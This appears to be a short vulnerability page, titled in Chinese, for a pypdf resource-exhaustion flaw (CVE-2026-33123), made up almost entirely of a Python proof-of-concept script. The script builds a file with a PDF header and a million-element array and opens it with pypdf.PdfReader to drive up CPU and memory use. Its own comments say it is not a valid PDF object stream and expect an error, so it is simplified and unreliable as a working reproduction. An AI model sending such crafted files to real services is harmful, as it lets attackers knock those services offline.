CVE-2026-33123 pypdf资源耗尽漏洞

import pypdf import io # Simulate crafting a malicious PDF with a large array stream # This creates a PDF structure that triggers the heavy processing malicious_pdf_header = b"%PDF-1.4\n" # Create a stream object with a massive array to trigger the DoS # In a real exploit, this would be a valid PDF object stream large_array = b"[ " + b"0 " * 1000000 + b" ]" malicious_content = malicious_pdf_header + large_array # Save to a file or bytes object with open("exploit_poc.pdf", "wb") as f: f.write(malicious_content) print("Malicious PDF generated: exploit_poc.pdf") # Trigger the vulnerability using the vulnerable library try: # This operation may cause high CPU/Memory usage in versions < 6.9.1 reader = pypdf.PdfReader("exploit_poc.pdf") print(f"PDF Info: {reader.pdf_info}") except Exception as e: print(f"Error occurred (expected in malformed PoC): {e}")